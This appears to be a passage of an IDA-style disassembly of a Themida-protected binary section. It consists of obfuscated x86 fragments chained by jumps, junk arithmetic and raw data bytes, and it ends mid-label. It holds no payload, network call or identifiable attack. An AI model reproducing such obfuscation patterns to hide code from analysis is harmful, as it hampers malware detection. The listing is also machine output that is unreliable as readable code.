		dd 582434FFh, 8904EC83h, 0E389241Ch, 0FF7267E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562C1D:				; CODE XREF: Themida_:0055A85Ej
		push	1690h
		mov	[esp], esp
		push	edi
		mov	edi, 4
		jmp	loc_56A941
; ---------------------------------------------------------------------------
		dd 0C781C701h, 3AF02F6Bh, 4FC9E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562C3E:				; CODE XREF: Themida_:00564D4Cj
		pop	edx
		sub	esi, 67167EEEh
		add	esi, edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 679216BBh
		shl	ebx, 2
		xor	ebx, 651719FDh
		inc	ebx
		dec	ebx
		shr	ebx, 4
		sub	ebx, 0A89F7543h
		add	esi, ebx
		jmp	loc_5610C2
; ---------------------------------------------------------------------------
		db 1, 0C3h, 58h
		dd 25B7BE56h, 0C6813D60h, 0C29FDA4Bh, 34FFF301h, 0DD685E24h
		dd 89000010h, 0E9542404h, 0FFFF9A2Ch, 0EBBEF81h, 0EF814727h
		dd 5C6823A4h, 582434FFh, 81E18951h, 4C1h, 4BD5500h, 0E9000000h
		dd 4464h
; ---------------------------------------------------------------------------

loc_562CB4:				; CODE XREF: Themida_:0055C588j
		pop	ecx
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 69BB951h, 0E953665Eh, 0FFFF5C70h
; ---------------------------------------------------------------------------

loc_562CC8:				; CODE XREF: Themida_:0056243Ej
		sub	dword ptr [esp+4], 0BE11F2h
		pop	edi
		push	dword ptr [esp]
		jmp	loc_56356C
; ---------------------------------------------------------------------------

loc_562CD9:				; CODE XREF: Themida_:0056C8ECj
		xor	esi, eax
		xor	eax, esi
		xor	esi, eax
		not	eax
		xchg	eax, esi
		add	esi, 0FFFFFFFFh
		xor	esi, 4C8A31CBh
		xor	esi, 7BA84600h
		add	esi, 0DA18A2ECh
		jmp	loc_566C91
; ---------------------------------------------------------------------------

loc_562CFC:				; CODE XREF: Themida_:0056C161j
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 3A7A425Bh
		jmp	loc_55BD5C
; ---------------------------------------------------------------------------

loc_562D0F:				; CODE XREF: Themida_:00565747j
		sub	al, bh
		pop	bx
		push	edx
		jmp	loc_558EED
; ---------------------------------------------------------------------------

loc_562D19:				; CODE XREF: Themida_:00565A0Dj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56630B
; ---------------------------------------------------------------------------

loc_562D27:				; CODE XREF: Themida_:00556C6Dj
		sub	edi, 28430D19h
		shl	edi, 7
		sub	edi, 4CA4E4FCh
		add	ebx, edi
		jmp	loc_565C3B
; ---------------------------------------------------------------------------

loc_562D3D:				; CODE XREF: Themida_:005609FEj
		push	ebp
		mov	ebp, 3AB33E36h
		jmp	loc_559915
; ---------------------------------------------------------------------------

loc_562D48:				; CODE XREF: Themida_:0055EEDFj
		neg	ebx
		jmp	loc_569417
; ---------------------------------------------------------------------------

loc_562D4F:				; CODE XREF: Themida_:0055DB40j
		xor	[esp], eax
		jmp	loc_556EB6
; ---------------------------------------------------------------------------

loc_562D57:				; CODE XREF: Themida_:0055C087j
		mov	[esp], edi
		jmp	loc_565A61
; ---------------------------------------------------------------------------

loc_562D5F:				; CODE XREF: Themida_:0056233Cj
		add	eax, 4
		push	edi
		mov	edi, 4
		push	ebx
		mov	ebx, 6FD35C45h
		sub	ebx, 42703D0Bh
		sub	ebx, 2BC0A170h
		xor	ebx, 7958283Ah
		xor	ebx, 4EF47AB7h
		sub	ebx, 6C2E4800h
		shr	ebx, 4
		add	ebx, 0FF9301B3h
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55B845
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 0E9000000h, 8B51h
; ---------------------------------------------------------------------------

loc_562DAC:				; CODE XREF: Themida_:00562066j
					; Themida_:00568DA7j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_55C0CC
; ---------------------------------------------------------------------------

loc_562DC1:				; CODE XREF: Themida_:00562420j
		shl	ebp, 6
		jmp	loc_563D8B
; ---------------------------------------------------------------------------

loc_562DC9:				; CODE XREF: Themida_:0055C72Cj
		mov	esp, [esp]
		jmp	loc_55930F
; ---------------------------------------------------------------------------
		db 58h,	31h, 0D0h
		dd 5A2434FFh, 505E5456h, 120EBF57h, 0CEE9798Eh
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562DE7:				; CODE XREF: Themida_:loc_560770j
		inc	edi
		jle	loc_55A6D2
		not	edi
		jmp	loc_561970
; ---------------------------------------------------------------------------
		db 0E9h, 0EDh, 34h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562DFA:				; CODE XREF: Themida_:00567EBAj
		inc	eax
		xchg	eax, ebx
		xchg	edx, ebx
		inc	edx
		xchg	edx, ebx
		xchg	eax, ebx
		jmp	loc_55CF56
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8B24048Fh, 3C892424h, 53685024h, 8B117438h, 0C4832404h
		dd 4E0C104h, 3506E0C1h,	0A3387FEDh, 0E958C789h,	0FFFFF378h
; ---------------------------------------------------------------------------

loc_562E30:				; CODE XREF: Themida_:005569E8j
		push	dx
		jmp	loc_56008E
; ---------------------------------------------------------------------------

loc_562E37:				; CODE XREF: Themida_:00565D90j
		and	edx, 67A90D80h
		jno	loc_567C8B
		dec	edx
		jg	loc_55E8E3
		mov	ch, dh
		mov	bh, dl

loc_562E4E:				; CODE XREF: Themida_:0055E7E7j
					; Themida_:00566854j
		push	ecx
		push	ebp
		mov	ebp, 1
		mov	ecx, ebp
		pop	ebp
		add	eax, ecx
		pop	ecx
		jmp	loc_55DED7
; ---------------------------------------------------------------------------

loc_562E60:				; CODE XREF: Themida_:005699F9j
		pop	ebx
		jmp	loc_556F6C
; ---------------------------------------------------------------------------

loc_562E66:				; CODE XREF: Themida_:0056385Dj
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_567C9C
; ---------------------------------------------------------------------------

loc_562E72:				; CODE XREF: Themida_:00559211j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	737Eh
		jmp	loc_55B39C
; ---------------------------------------------------------------------------
		db 89h
		dd 0D0F4E9E7h, 166FFFFh, 942D66F0h, 665E661Ah, 2D66E801h
		dd 5BE93EC4h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562E9F:				; CODE XREF: Themida_:0056C0CFj
		push	eax
		mov	eax, 667CF69Dh
		sub	edx, eax
		pop	eax
		push	esi
		mov	esi, 68285DD6h
		sub	eax, esi
		jmp	loc_567423
; ---------------------------------------------------------------------------

loc_562EB5:				; CODE XREF: Themida_:0056560Bj
		mov	ebx, 32881E91h
		push	eax
		mov	eax, 3DD77F45h
		push	ebp
		mov	ebp, 602C1C08h
		xor	eax, ebp
		pop	ebp
		inc	eax
		jz	loc_569398
		or	eax, 53A127B2h
		jle	loc_55D18F
		add	eax, 192212Fh
		mov	esi, eax
		pop	eax
		sub	esi, ebx
		jmp	loc_5696DE
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 3F35E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562EF2:				; CODE XREF: Themida_:00563E2Bj
		sub	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_562576
; ---------------------------------------------------------------------------

loc_562F0F:				; CODE XREF: Themida_:005656E0j
		push	ecx
		mov	ecx, 1F604C5Dh
		jmp	loc_563505
; ---------------------------------------------------------------------------

loc_562F1A:				; CODE XREF: Themida_:00562A4Cj
		push	ebx
		push	7013h
		mov	[esp], edi
		mov	edi, 4
		push	43C1h
		jmp	loc_5678B1
; ---------------------------------------------------------------------------

loc_562F32:				; CODE XREF: Themida_:loc_569F41j
		add	edi, 0BBFCCA0h
		push	edi
		pop	ebp
		pop	edi
		add	edi, 43CC34EEh
		add	edi, ebp
		sub	edi, 43CC34EEh
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_55C152
; ---------------------------------------------------------------------------

loc_562F52:				; CODE XREF: Themida_:0056B270j
		pop	esp
		jmp	loc_569EC4
; ---------------------------------------------------------------------------

loc_562F58:				; CODE XREF: Themida_:00558522j
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp

loc_562F67:				; DATA XREF: Themida_:00554348o
		jmp	loc_56AA3C
; ---------------------------------------------------------------------------
		dd 2204432Ch, 483968h, 24148900h, 8196E9h
		db 0
; ---------------------------------------------------------------------------

loc_562F7D:				; CODE XREF: Themida_:005614BEj
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebp, 16A471EBh
		add	ebp, ecx
		add	ebp, 16A471EBh
		jmp	loc_56BE8F
; ---------------------------------------------------------------------------

loc_562F98:				; CODE XREF: Themida_:00568B02j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55A49F
; ---------------------------------------------------------------------------
		db 66h
		dd 24342859h, 4EC81h, 0C890000h, 80D6B124h, 8D04246Ch
		dd 4244C28h, 4244480h, 348A598Dh, 0BC77E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562FCE:				; CODE XREF: Themida_:00557FF4j
		push	27C2h
		jmp	loc_56C1D6
; ---------------------------------------------------------------------------

loc_562FD8:				; CODE XREF: Themida_:005691CAj
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55B4BF
; ---------------------------------------------------------------------------

loc_562FEB:				; CODE XREF: Themida_:00558922j
		xor	al, bl
		pop	ebx
		jmp	loc_564777
; ---------------------------------------------------------------------------

loc_562FF3:				; CODE XREF: Themida_:00568432j
		sub	eax, 31313712h
		xor	eax, 63074F69h
		push	ebx
		mov	ebx, 4FA5457Ah
		sub	ebx, 61670600h
		shl	ebx, 6
		dec	ebx
		shr	ebx, 4
		xor	ebx, 96B44915h
		add	eax, ebx
		pop	ebx
		add	ebx, 593F49B1h
		add	ebx, eax
		sub	ebx, 593F49B1h
		mov	eax, [esp]
		jmp	loc_56C85B
; ---------------------------------------------------------------------------

loc_56302F:				; CODE XREF: Themida_:0056CFB5j
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 2D6C336Ah
		jmp	loc_5699D1
; ---------------------------------------------------------------------------
		db 54h,	5Ah, 50h
		dd 405E089h, 0E9000000h, 0FFFFCA93h
; ---------------------------------------------------------------------------

loc_56304C:				; CODE XREF: Themida_:0055EFB6j
		jp	loc_564D41
		push	bx
		mov	bl, 41h
		jmp	loc_56007F
; ---------------------------------------------------------------------------
		db 29h
		dd 0DAC7C6D6h
		db 5Fh
; ---------------------------------------------------------------------------

loc_563061:				; CODE XREF: Themida_:00569943j
		push	4A9Fh
		mov	[esp], ecx
		mov	ecx, 20E7F235h
		jmp	loc_56B557
; ---------------------------------------------------------------------------

loc_563073:				; CODE XREF: Themida_:0055DDC5j
		push	ecx
		jmp	loc_568F42
; ---------------------------------------------------------------------------

loc_563079:				; CODE XREF: Themida_:005626EDj
		mov	eax, 200F30B3h
		sub	eax, 1E212936h
		push	ebp
		jmp	loc_5626A0
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E8h
		dd 5D58C289h, 3159CA29h, 24148BD5h, 4C481h, 0A72D0000h
		dd 0E96CA710h, 0FFFFDE2Eh, 2F1E68h, 0B6E95400h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5630B3:				; CODE XREF: Themida_:00567472j
		pop	ecx
		jmp	loc_565CE6
; ---------------------------------------------------------------------------

loc_5630B9:				; CODE XREF: Themida_:0056C07Ej
		push	ecx
		mov	ecx, 4DE74D44h
		xor	edi, ecx
		pop	ecx
		shl	edi, 8
		add	edi, 69504404h
		jmp	loc_556473
; ---------------------------------------------------------------------------

loc_5630D0:				; CODE XREF: Themida_:005677A9j
		xchg	esi, [esp]
		jmp	loc_568444
; ---------------------------------------------------------------------------

loc_5630D8:				; CODE XREF: Themida_:0055E399j
		add	eax, 2D1D1164h
		push	edx
		push	eax
		jmp	loc_563283
; ---------------------------------------------------------------------------
		dd 0E981E9D1h, 4547221Dh, 2A6FE9h
		db 0
byte_5630F1	db 66h,	8Bh, 4		; DATA XREF: Themida_:005561A8o
aHA		db '$h╠A',0
		align 2
aIH@		db '┴<$h"@',0
		align 2
		dw 8F54h
		dd 4832404h, 815F0424h,	4C7h, 3D5CE900h, 0D001FFFFh, 3E09685Ah
		dd 3C890000h, 89505024h, 405E0h, 42D0000h, 87000000h, 895C2404h
		dd 77682434h, 5E2ECC5Dh, 0ADF5F681h, 0F08910E9h, 58C7895Eh
		dd 0FF6382E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56314D:				; CODE XREF: Themida_:00568A40j
		add	esi, eax
		pop	eax
		sub	edx, esi
		mov	esi, [esp]
		jmp	loc_558953
; ---------------------------------------------------------------------------

loc_56315A:				; CODE XREF: Themida_:0055DC9Ej
		add	esi, ecx
		pop	ecx
		xor	esi, 894888B0h
		mov	edx, esi
		pop	esi
		jmp	loc_56CCDB
; ---------------------------------------------------------------------------

loc_56316B:				; CODE XREF: Themida_:0055E87Ej
		mov	edi, edx
		pop	edx
		jmp	loc_55F033
; ---------------------------------------------------------------------------
		db 0BAh
		dd 7C5127ABh, 0FFD2D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56317D:				; CODE XREF: Themida_:00563D26j
		pop	ebx
		push	edi
		jmp	loc_55D9CA
; ---------------------------------------------------------------------------

loc_563184:				; CODE XREF: Themida_:0056957Ej
		push	eax
		jmp	loc_55C041
; ---------------------------------------------------------------------------

loc_56318A:				; CODE XREF: Themida_:0056B590j
		mov	[esp], esi
		push	edi
		mov	edi, 7D172E03h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 359E5977h
		shl	edx, 2
		inc	edx
		add	edx, 1C9B2EC0h
		jmp	loc_56751A
; ---------------------------------------------------------------------------
		db 58h,	1, 0D1h
		dd 240C875Ah, 6624248Bh, 5324048Bh, 241C8B54h, 5004C483h
		dd 0FFEC35E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5631C9:				; CODE XREF: Themida_:00562BEFj
		pop	edx
		push	583Eh
		jmp	loc_561758
; ---------------------------------------------------------------------------

loc_5631D4:				; CODE XREF: Themida_:00569C39j
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4C7547FCh
		and	ebx, 24D3768Bh
		jmp	loc_565AA5
; ---------------------------------------------------------------------------

loc_5631E8:				; CODE XREF: Themida_:00567EECj
		dec	cl
		push	ebx
		push	cx
		mov	ch, 0C9h
		mov	bh, ch
		pop	cx
		shr	bh, 6
		or	bh, 36h
		or	bh, 0DCh
		add	bh, 9Eh
		add	bh, 6Bh
		xor	cl, bh
		jmp	loc_55DFC7
; ---------------------------------------------------------------------------

loc_563209:				; CODE XREF: Themida_:00565007j
		sub	esi, 17B5761Eh
		add	esi, ebp
		add	esi, 17B5761Eh
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_55A59B
; ---------------------------------------------------------------------------

loc_563220:				; CODE XREF: Themida_:0055FA8Fj
		add	ebx, 1BDF35F8h
		sub	ebx, 3041197Dh
		add	ebx, eax
		add	ebx, 3041197Dh
		push	edx
		push	ecx
		push	0E2Bh
		mov	[esp], eax
		push	46D6555Dh
		jmp	loc_5673FF
; ---------------------------------------------------------------------------

loc_563248:				; CODE XREF: Themida_:loc_561A66j
		jmp	loc_562341
; ---------------------------------------------------------------------------

loc_56324D:				; CODE XREF: Themida_:0056740Dj
		xor	ebx, 0A6D3EE6Fh
		sub	edx, ebx
		jmp	loc_55D4F1
; ---------------------------------------------------------------------------

loc_56325A:				; CODE XREF: Themida_:loc_568180j
		dec	ecx
		jmp	loc_55C57E
; ---------------------------------------------------------------------------

loc_563260:				; CODE XREF: Themida_:0055E792j
		add	bh, 25h
		mov	ax, [esp]
		jmp	loc_568293
; ---------------------------------------------------------------------------

loc_56326C:				; CODE XREF: Themida_:0056C5BAj
		sub	dl, 58h
		ja	loc_56002B
		jmp	loc_564066
; ---------------------------------------------------------------------------
		dw 0EFD1h
		dd 2C50850Fh
		db 2 dup(0), 57h
; ---------------------------------------------------------------------------

loc_563283:				; CODE XREF: Themida_:005630DFj
		push	3B9C6B6Ah
		pop	eax
		not	eax
		xor	eax, 0C4639494h
		mov	edx, eax
		pop	eax
		add	[eax], edx
		pop	edx
		mov	eax, [esp]
		jmp	loc_557B37
; ---------------------------------------------------------------------------

loc_56329E:				; CODE XREF: Themida_:0055FE8Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55E519
; ---------------------------------------------------------------------------

loc_5632B5:				; CODE XREF: Themida_:005647E1j
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		jmp	loc_5641F9
; ---------------------------------------------------------------------------

loc_5632C0:				; CODE XREF: Themida_:005583F7j
		add	al, 0D7h
		sub	dh, al
		mov	eax, [esp]
		jmp	loc_564A6A
; ---------------------------------------------------------------------------
		dd 525FFD89h, 0D089EA89h, 0FF505D5Ah, 0E958240Ch, 0FFFFE24Ah
		dd 5A52E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5632E6:				; CODE XREF: Themida_:0055E098j
		pop	esi
		xor	esi, 5A2C0FDBh
		inc	esi
		sub	esi, 0AC37A698h
		sub	edi, esi
		pop	esi
		add	edi, eax
		push	edx
		mov	edx, 2CBF378Bh
		inc	edx
		shl	edx, 5
		not	edx
		or	edx, 75327199h
		sub	edx, 7C486B24h
		add	edi, edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_566B33
; ---------------------------------------------------------------------------

loc_563322:				; CODE XREF: Themida_:0056CE78j
		add	eax, ebx
		add	eax, 4D046A2Bh
		add	eax, 6E840098h
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_563344:				; CODE XREF: Themida_:00562400j
		sub	esp, 4
		jmp	loc_55B5E3
; ---------------------------------------------------------------------------

loc_56334C:				; CODE XREF: Themida_:0056C982j
		shl	ebx, 3
		jnz	loc_56998C
		jmp	loc_563E99
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 0BB85075h, 131C6C6h,	0BF575FFBh, 2, 4C0EB81h, 0FB010B39h
		dd 9FAE9h, 8E1C100h, 3990840Fh,	0C181FFFFh, 3286D8BEh
		dd 158FE9h
		db 0
; ---------------------------------------------------------------------------

loc_56338D:				; CODE XREF: Themida_:00568899j
		mov	[esp], ebx
		push	edi
		mov	edi, 7A1F7E35h
		add	edi, 26FD4C74h
		add	edi, 0A2D9A668h
		mov	ebx, edi
		jmp	loc_56A43D
; ---------------------------------------------------------------------------

loc_5633A9:				; CODE XREF: Themida_:00564F13j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_55B580
; ---------------------------------------------------------------------------

loc_5633C3:				; CODE XREF: Themida_:00567A42j
		mov	esi, 24CA73C2h
		shr	esi, 7
		jmp	loc_55F301
; ---------------------------------------------------------------------------
dword_5633D0	dd 24048B66h, 0FF40C2E9h ; DATA	XREF: Themida_:00556234o
		db 0FFh
; ---------------------------------------------------------------------------

loc_5633D9:				; CODE XREF: Themida_:0056989Bj
		sub	ebp, 49D2D202h
		add	ebx, ebp
		pop	ebp
		add	ebx, 60B53C68h
		pop	ecx
		push	eax
		push	esi
		mov	esi, 2
		jmp	loc_5572F9
; ---------------------------------------------------------------------------

loc_5633F5:				; CODE XREF: Themida_:0056B6BEj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_561970
; ---------------------------------------------------------------------------

loc_563406:				; CODE XREF: Themida_:00568206j
		pop	esi
		push	3C78h
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_55C37F
; ---------------------------------------------------------------------------

loc_56341C:				; CODE XREF: Themida_:0055F0EEj
		add	eax, 51031EFBh
		shl	eax, 1
		jmp	loc_55E07B
; ---------------------------------------------------------------------------

loc_563428:				; CODE XREF: Themida_:0055ADCAj
		add	eax, 4
		jmp	loc_559740
; ---------------------------------------------------------------------------

loc_563430:				; CODE XREF: Themida_:005568EAj
		xor	esi, 15913C9Ah
		jnb	loc_5667E8
		not	esi
		shr	esi, 4
		jmp	loc_558D8C
; ---------------------------------------------------------------------------
		db 47h
; ---------------------------------------------------------------------------

loc_563447:				; CODE XREF: Themida_:0055A976j
		sub	ebp, 6C7F2855h
		shl	ebp, 7
		sub	ebp, 49946C87h
		push	edx
		mov	edx, 78984C4Ch
		sub	ebp, 23EB033Fh
		add	ebp, edx
		jmp	loc_56C88F
; ---------------------------------------------------------------------------

loc_563469:				; CODE XREF: Themida_:00560C48j
		mov	eax, 1F71160Eh
		sub	eax, 4DDA3A31h
		jmp	loc_564F18
; ---------------------------------------------------------------------------

loc_563478:				; CODE XREF: Themida_:00563950j
		sub	dl, 0ADh
		add	dl, 0CCh
		jmp	loc_55AC56
; ---------------------------------------------------------------------------

loc_563483:				; CODE XREF: Themida_:0056B78Ej
		mov	edx, ebp
		pop	ebp
		sub	ebx, edx
		pop	edx
		add	ebx, 9C27DD0h
		jmp	loc_557A96
; ---------------------------------------------------------------------------

loc_563494:				; CODE XREF: Themida_:0055AC49j
		push	4655h
		jmp	loc_564001
; ---------------------------------------------------------------------------

loc_56349E:				; CODE XREF: Themida_:0056C6B4j
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	56FFh
		jmp	loc_55CA2F
; ---------------------------------------------------------------------------

loc_5634B1:				; CODE XREF: Themida_:00558135j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56113A
; ---------------------------------------------------------------------------
aIshat		db '┴Аh²T',0
		align 2
		dw 1C89h
		dd 4228E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5634CE:				; CODE XREF: Themida_:00557FBEj
		dec	ebp
		jmp	loc_55DFED
; ---------------------------------------------------------------------------
		dd 6925BA52h, 0EF815AD5h, 3A6B31ECh, 8BE9D701h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5634E7:				; CODE XREF: Themida_:0056696Bj
		jmp	loc_558498
; ---------------------------------------------------------------------------
		dd 4C481h, 0D5F70000h, 91C7E9h,	241C3000h, 50D98851h, 0FF4A49E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563505:				; CODE XREF: Themida_:00562F15j
		or	ecx, 64822180h
		dec	ecx
		shr	ecx, 3
		add	ecx, 46502950h
		add	edx, 5BD5572Ch
		sub	edx, ecx
		sub	edx, 5BD5572Ch
		pop	ecx
		jmp	loc_5597CA
; ---------------------------------------------------------------------------

loc_563529:				; CODE XREF: Themida_:005661ECj
		xor	edi, 698462BDh
		jge	loc_566F9B
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0DD1ABBFAh
		add	edi, 62757B83h
		add	edi, eax
		sub	edi, 62757B83h
		mov	eax, [esp]
		jmp	loc_560C4E
; ---------------------------------------------------------------------------

loc_563559:				; CODE XREF: Themida_:0055852Fj
		add	ebx, esi
		pop	esi
		jmp	loc_55838D
; ---------------------------------------------------------------------------
		db 0Fh,	88h, 8Ah
		dd 0E9FFFF89h, 0FFFF585Ah
; ---------------------------------------------------------------------------

loc_56356C:				; CODE XREF: Themida_:00562CD4j
		pop	edx
		add	esp, 4
		push	414Ch
		jmp	loc_560E4B
; ---------------------------------------------------------------------------

loc_56357D:				; CODE XREF: Themida_:0056B057j
		push	ebp
		jmp	loc_560385
; ---------------------------------------------------------------------------

loc_563583:				; CODE XREF: Themida_:00563C55j
		jmp	loc_55D796
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4832424h,	48B0424h, 4EC8124h, 0E9000000h
		dd 991Eh, 0F9E9D830h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5635A7:				; CODE XREF: Themida_:0056B6C6j
		xor	ebx, [esp]
		xor	[esp], ebx
		not	ebx
		xchg	ebx, [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ecx
		jmp	loc_565406
; ---------------------------------------------------------------------------

loc_5635C4:				; CODE XREF: Themida_:0055C757j
		push	ebp
		mov	ebp, 4
		jmp	loc_55E8DC
; ---------------------------------------------------------------------------

loc_5635CF:				; CODE XREF: Themida_:005626D4j
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55B42E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0BFE9241Ch
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5635EB:				; CODE XREF: Themida_:00566A5Dj
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55AF7F
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4E5254E5h, 901FD205h, 5428057Ah, 0B105103Eh,	0E90C8F04h
		dd 0FFFF81CFh
dword_563618	dd 0A9B2E9ADh, 5268FFFFh, 8900001Dh, 0E189240Ch, 4C181h
					; DATA XREF: Themida_:00556194o
		dd 0F8E90000h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_563633:				; CODE XREF: Themida_:0056708Dj
					; Themida_:0056A9A0j
		xor	[esp], ecx
		not	ecx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55ECF6
; ---------------------------------------------------------------------------
		db 31h
		dd 0FB015DEFh, 0FF9760E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56364D:				; CODE XREF: Themida_:00564243j
					; Themida_:0056C0EBj
		push	ecx
		push	ebx
		mov	ebx, 2BAA6119h
		jmp	loc_568AE8
; ---------------------------------------------------------------------------

loc_563659:				; CODE XREF: Themida_:00560D58j
		pop	esp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	1CABh
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		push	38B0h
		mov	[esp], ebx
		push	ebp
		push	edx
		mov	edx, 2F1D51A8h
		mov	ebp, 4D256BDEh
		jmp	loc_567439
; ---------------------------------------------------------------------------

loc_5636BA:				; CODE XREF: Themida_:0056BAD5j
		push	ebx
		jmp	loc_5659B9
; ---------------------------------------------------------------------------

loc_5636C0:				; CODE XREF: Themida_:00562039j
		pop	bx
		xor	al, 0CDh
		jmp	loc_55B940
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EF010000h, 0FFD8A8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5636D5:				; CODE XREF: Themida_:005583B6j
		xor	ebp, 0E0D2456h
		or	ebp, 2C4705F3h
		or	ebp, 0DF46349h
		or	ebp, 10486D4Eh
		add	ebp, 0FFFFFFFFh
		push	edi
		mov	edi, 12AB274Ch
		jmp	loc_56B82B
; ---------------------------------------------------------------------------

loc_5636FB:				; CODE XREF: Themida_:00558C36j
		shr	ecx, 5
		jmp	loc_557D69
; ---------------------------------------------------------------------------

loc_563703:				; CODE XREF: Themida_:00556465j
		push	edx
		mov	dh, 0EAh
		jmp	loc_55F62A
; ---------------------------------------------------------------------------

loc_56370B:				; CODE XREF: Themida_:00561208j
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_563719:				; CODE XREF: Themida_:00557488j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		jmp	loc_55DBA0
; ---------------------------------------------------------------------------

loc_56372E:				; CODE XREF: Themida_:0056AE71j
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55C716
; ---------------------------------------------------------------------------
a3Ys95		db '╧ш3',0Bh,0Bh,')оYИ95',0
		db 0
; ---------------------------------------------------------------------------

loc_56374B:				; CODE XREF: Themida_:loc_55D1A8j
		push	eax
		mov	eax, 38B1304h
		jmp	loc_55FE6E
; ---------------------------------------------------------------------------

loc_563756:				; CODE XREF: Themida_:0056578Dj
		pop	ecx
		sub	dl, al
		pop	eax
		add	al, dl
		pop	edx
		push	cx
		jmp	loc_557365
; ---------------------------------------------------------------------------

loc_563764:				; CODE XREF: Themida_:00561B66j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
byte_563775	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005560A8o
		dd 11AC6859h, 2C890000h, 4EC8324h, 83242489h, 5D042404h
		dd 280968h, 24348900h, 50706852h, 148B0E92h, 4C48324h
		dd 0E905EAC1h, 7ACDh
; ---------------------------------------------------------------------------

loc_5637A8:				; CODE XREF: Themida_:005589CAj
		jnb	loc_55BDE8
		push	ecx
		push	ebp
		jmp	loc_5666B7
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 8B000000h
		db 0F7h
; ---------------------------------------------------------------------------

loc_5637BD:				; CODE XREF: Themida_:00565FDDj
